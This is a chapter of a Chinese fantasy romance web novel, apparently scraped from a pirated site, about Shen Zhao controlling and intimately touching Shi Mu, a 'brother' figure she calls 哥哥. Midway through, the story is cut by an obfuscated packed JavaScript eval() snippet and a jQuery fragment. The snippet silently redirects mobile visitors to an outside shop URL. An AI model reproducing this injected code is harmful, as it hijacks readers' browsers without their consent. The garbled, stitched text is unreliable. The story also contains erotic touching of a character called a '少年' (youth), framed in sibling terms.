有了这全然不平等的“约法三章”,沈昭摇身一变,自然而然就跃升成为小木屋的一家之主。

    正式确认升迁的第一时间,她便板着严肃,一口一句“哥哥”地询问了时暮这一天到底都吃了些什么。

    时暮浑身上下就臀腿上有那么点肉,手感不错。

    加上他本人还总自以为隐蔽地若无其事着,殊不知被触碰的大腿/根一直在控制不住地哆嗦个不停,沈昭便索性不拿开,沉下脸,开始问话。

    “哥哥,你今天吃的什么。”

    时暮张张嘴,习惯性就要信口胡诌,沈昭猛地竖起一根手指,正正堵在他的嘴前。

    “哥哥,抽查,约法三章第一条是什么。”

    时暮脱口而出:“我不可以对昭昭撒谎。”

    “第三条。”

    “我要听昭昭的话。”

    “嗯。”

    手在脸旁很方便,沈昭便顺势摸住他的脸颊,手覆在那片滚烫上,弯起眉眼:

    “那现在,哥哥可以开始回答了。”

    沈昭的提醒都到这份上了,时暮不敢再糊弄,只得老老实实地交代起自己一天的行踪来。

    在他的坦白从宽里,他吃了野菜、喝了冷水,纯靠灌水饱撑过来的。

    本来还有些自豪,但随着沈昭的表情越来越沉,他也不禁跟着小心起来:

    “怎么了,昭昭。”

    沈昭收回放在他脸上的手,不咸不淡道:

    “灶台上那半碗米汤和那个兔肉,你去热了端来吃。”

    “啊……”

    眼见他眼珠子直转又在斟酌什么“不饿”的逞强话,沈昭直接盖棺定论:“我饿了。”

    “好的昭昭。”

    时暮当即改口,毫不犹豫起身:“我去热饭。”

    既然要去忙碌,在他腿上的另只手也不得不挪开了。

    沈昭原本还有些说不出的小可惜,不过一炷香之后,当他端着饭菜回来,她也就顾不得遗憾,只剩下满心满眼的生气了。

    “怎么了,昭昭。”

    时暮对她的情绪敏感到极点,立刻望过来询问道。

    沈昭瞥他一眼,真的很想提醒:

    他那样的灵力辨别不出端倪,在她这般灵识下,那些小动作可全都是无处遁形的。

    他用家里仅余的米和柴煮了粥,却全盛到更好的那个缺口碗里端来给了她。

    如果仅是这样她还不至于生这么大气,但时暮又不知从哪拔了一把枯草,碾碎混进那在灶边放了一天的米汤里,滥竽充数成另一碗,此时此刻就握在他自己手里,假装也有的吃。

    除此之外,他还热了那份兔肉。

    大概真的是太来之不易的唯一肉食,他实在舍不得扔,又着实有点拿不出手,思来想去,最后是站在灶旁借着月光挑挑拣拣好一会,才勉强拨弄出一点能看能吃的,也一并煮进了她的粥里。

    剩下的则留在碗里,用枯草小心垫高,继续伪装成一道还是能吃的菜。

    沈昭在灵识里目睹了他操作的全过程,心里有气,不想说话。

    时暮自己热脸贴了一会,得不到回应,便抱着他的缺口碗规规矩矩地坐回离沈昭最远的那张凳子上,埋头吃起饭来。

    那碗兔肉放在桌子中间,醒目又扎眼,他的目光却一次都没往那落,仿佛是真的全然不感兴趣。

    他看起来是那么的寻常,沈昭望着望着,突然就泄了气。

    她觉得自己有些可笑,这个傻子这般也不是一天两天了,和他计较个什么劲,于是顿了顿,身体力行地走过去,坐到桌旁另一张瘸腿凳子上。

    “换一下。”

    指尖燃起光,她抬抬下巴,分别示意他手里握着的和桌子上特意留下的:“把你的给我,你吃这碗。”

    “我……”

    沈昭抬眼,面无表情地望过去,时暮当即噤声。

    他慢吞吞地“哦”了声,却并没有听令,而是突然抬手仰脖,毫不犹豫地把手里的草叶粥一饮而尽。

    “昭昭,我吃完啦。”

    沈昭继续静静看着他,脸上没有一丝一毫波澜。

    时暮顿时有些理亏,眼神胡乱飘着,摸着鼻子依旧坚持道:

    “那我去刷碗了,昭昭。”

    “别动。”

    沈昭手一挥,灭掉指尖火,伸手摁住他的大腿/根。

    时暮猝不及防,整个人差点弹跳起来,又在最后一刻强行制止住,任由沈昭堂而皇之地将手放在上面,徒留浑身无法控制的紧绷昭示着紧张。

    沈昭便假装没注意,将桌子上的那碗推给他:“吃了。”

    “啊……”

    黑亮眸子滴溜一转,这种情景下,这人居然还能有心思琢磨有的没的。

    沈昭禁不住轻笑了声,手臂搭在桌面上,单手拄着脑袋,偏头侧望着他,语气又轻又重,听起来颇有些苦恼:

    “嗯,哥哥又不听话了。”

    “我吃!”

    时暮登时汗毛直立,“再也没有妹妹”的可怕惩罚就像一把刀,彻底切断所有阴奉阳违的勇气。

    他赶忙伸手,想也不想就要去抢粥碗,不顾那粥其实还是滚烫,仰脖就要喝。

    沈昭眼疾手快地抓住碗的另一边,微微用力,时暮便无法更进一步。

    可他又怕被借题发挥,只能侧目用眼神询问,又黑又亮的眸子里浮出一丝疑惑。

    “哥哥松手,我喂哥哥。”

    时暮犹豫了下,对妹妹的无限纵容还是迫使他点点头,顺从地松开手。

    沈昭一只手摩挲着他的腿/根,慢慢经过大腿内侧,毫不客气地一步步审视自己划定的领地,另一只手则掌控着粥碗,轻轻摇晃着晾成能入口的温度后,控制着倾斜角度,慢慢喂给他。

    “昭昭……”

    沈昭上下两只手忙得不亦乐乎,时暮却是紧张地手脚都不知道应该怎么放才好。

    明明手脚无虞却偏偏要束手就擒在妹妹双手间的事实让他无措极了,只能在间隙里张慌强调:

    “你、你放着就行,我、我自己也可以的——”

    “哥哥对我言而无信过,我不相信哥哥。”

    沈昭弯起眉眼,她太清楚自己的优势在哪了,一边继续着自己的享用,一边理直气壮道:

    “何况家人,不就应该是互帮互助的,你说对吗,哥哥。”

    事关“家人”,时暮歪歪脑袋,毫不犹豫地就接受了歪理邪说,即便不适应,也努力点点头,任由她顺照心意而为。

    可惜一碗粥能用多少时间,放下空碗时,沈昭刻意路过他的额头,伸出指尖试探了下:

    虽然不似早先的滚烫,但仍旧热,显然还没有完全退烧。

    但时暮似乎很习惯这样发着烧生活,碗一拿开,他就立刻从凳子上蹦起来,慌忙遮掩道:

    “昭昭,我去洗碗。”

    落在他腿上的触碰被迫跟着一起悬空,沈昭看了看自己的手,又瞥了他一眼,没有回答。

    时暮登时也反应过来,抿抿唇,没忍住小小回前一步,抓住她的手,讨好地将它重新放回自己腿上。

    “去吧。”

    沈昭也不欲为难他,收回手,叮嘱道:“把兔肉也倒了吧。”

    听此,原本手忙脚乱抱着碗就要闷头往外冲的时暮不由得停住脚步,迟疑地回过头,看起来是还想为他心中的大餐再争取两句。

    沈昭弯起眉眼,手肘撑在桌面上,微微抬眸,上挑着尾音,慢慢道:“怎么了,哥、哥。”

    “……”

    即便时暮没有足够的夜视力,也能辨别出沈昭话里的危险。

    他快速摇摇头,跟被踩到尾巴似的赶紧离开。

    “昭昭。”

    不过也显然的,时暮就是典型地好了伤疤忘了疼,收拾完回来,又忍不住想要往沈昭身边贴了。

    尤其在知道沈昭的名字后,他更加喜欢叫她,几乎是一刻不停地确认着家里还有另一个人在:

    “明天想吃什么呀,我给你做。”

    沈昭还记着他饭后跑掉的事,躺在床上不想理他。

    时暮也不计较,只自顾自地筹划着:“那明天我去山下看看有什么能买的。”

    沈昭翻了个身,面朝他,实在没忍住:“……你还发着烧。”

    “没关系的,昭昭。”

    时暮大力拍着胸膛,昂首挺胸:“我是哥哥嘛。”

    沈昭盯了他一会,眼见他那副满不在乎自己的模样,禁不住更加气闷,索性翻了个身,直接背对向他。

    身后一如既往地传来窸窸窣窣收拾声,隔了会,似乎终于处理完一切,时暮走到她身后,轻轻唤了句“昭昭”。

    沈昭继续躺着没有动,他等了会没等到回答,便摸索着自己爬上来,如昨晚那般,跪坐在她身后。

    承担了两人重量的简陋小床吱嘎作响,黑暗里,时暮快且重地深吸口气。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676899|207510||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    他竭力忽视着因为即将到来的疼痛而控制不住的胆怯,俯下身,轻轻攥住沈昭落在身侧的手指,小心翼翼地将它一点点拉扯到唇边。

    接着,探出一点舌尖,快速卷住她的指尖。

    可喜可贺的是,清醒中的沈昭也并没有拒绝他的触碰。

    他暗暗松口气,鼓着脸颊一点点吞没至指根,迅速且认真地上上下下舔/湿后,深吸口气,猛然带着抽出。

    身上那薄薄一层裤子什么都遮不住,唯一有那么点肉的臀峰更是紧张地直颤。

    巨大的羞耻几乎要将他淹没,因为即将发生的事情,无地自容到呼吸都将要停滞。

    但在这样难堪的沉默里,他的另一只手依然坚定伸出,轻轻覆上她的额头,即使颤音不断,也执着地想要阻断绝望、安抚痛苦:

    “昭昭不怕,哥哥陪你。”

    他的手颤栗不止。

    沈昭大张着眼睛,极有耐心地等待着,直感到自己的手被他牵引着送往更深处、而他的手也终于斗胆敢触碰到自己的电光火石一刻,猛然回手反钳住他的手腕,一个翻身,将他拉躺下。

    “哥哥。”

    完全没想到沈昭会突然动作,时暮瞬间宛如炸毛般,浑身上下都戒备起来。

    但下一刻,无孔不入的沈昭气息就扑面而来,本能战胜警戒,他几乎是想都没想就强迫着卸下反抗,任由自己跟随力道,就这么撞到沈昭身侧。

    沈昭张开双臂,重重接抱住他。

    “哥哥。”

    这样的拥抱让彼此非常近,沈昭下巴垫在他肩上,自他耳边轻轻开口,毫不意外看到呵气路过,从耳根到脖颈的那一大片肌肤霎时红得能滴血:

    “哥哥是想做什么。”

    时暮下意识瑟缩着想要躲开,沈昭轻笑声,那只手还款待在他裤子里,便干脆不拿出来,直接更进一步。

    手挑剔地挤进双腿/间,带有薄茧的炙热掌心摩挲着他同样紧绷的大腿/内侧。

    她望着他,感受着他无法控制的微微颤抖,用一种天真无邪的语气轻轻道:

    “哥哥不喜欢我碰哥哥吗。”

    “……没有。”

    时暮喉结翻滚,整个人崩成一条,耳朵根都红了。

    他有些狼狈地错开视线,竭尽所能地镇定着,虽然出口的声音抖个不停:“我——”

    沈昭猛然伸手,另一只手臂重重环住他的腰,借着这个姿势,拱进他怀里,半真半假地感叹道:

    “果然还是这样抱着哥哥比较安心,能睡着。”

    她本意是不想再听他拒绝,但伴随这句话,时暮捧出了一颗淋漓的真心。

    黑暗里,那双又黑又亮的眸子思忖了能有一瞬,便用力点点头,像是突然决定缴械投降般,骤然卸掉全身的抵抗。

    他在她明知道是假的示弱里,毫不犹豫地助纣为虐为她对自己的帮凶:

    “那昭昭要不要放进来。”

    说着,他挣扎着分/开/腿,不管不顾就要去坐还在裤子里的她的手:

    “昭昭的手好冰,天太冷了,我帮昭昭暖暖。”

    说不出的情绪刹那间涌上心头,沈昭也没想到自己随口一句的玩笑话竟然能得到如此认真的回应,禁不住敛目,隔开他的邀请,慢慢摇了摇头。

    一次未成,时暮想了想,退而求其次,转用腿/根颤抖着夹住。

    “那昭昭放这,我陪昭昭。”

    他一边笨拙地招待着她的手,一边抱住她的脑袋,像一条宽阔的河,包容着一切,也用力承诺着明天:

    “昭昭不怕,哥哥在,哥哥陪昭昭。”

    隐藏在无声处的真心千疮百孔着鲜血,沈昭浑身僵硬如铁,任由他回抱住自己。

    少年的胸膛其实并不宽广,凉夜也还是那么冷。

    可在这个万籁俱寂的夜里,他抱着她,拍着她的后背,小声跟她说的依旧是“昭昭不怕,哥哥在”。

    昭昭不怕,哥哥在。

    徜徉在绝望尽头,仿佛生命最初的温床。

    沈昭愣了愣,在他的迭声守护里,慢慢闭上眼睛。

    少年的身子真的非常非常单薄,他们靠在一起,好似雨夜里被淋湿翅膀、相拥取暖的两只瑟瑟小鸟。

    他没有家人,她没有未来,但这一刻,至少他们还有彼此。

    终年的愤怒慢慢平息,灵魂找到彼岸。

    她想,三百年了,她也终于可以安然入睡了。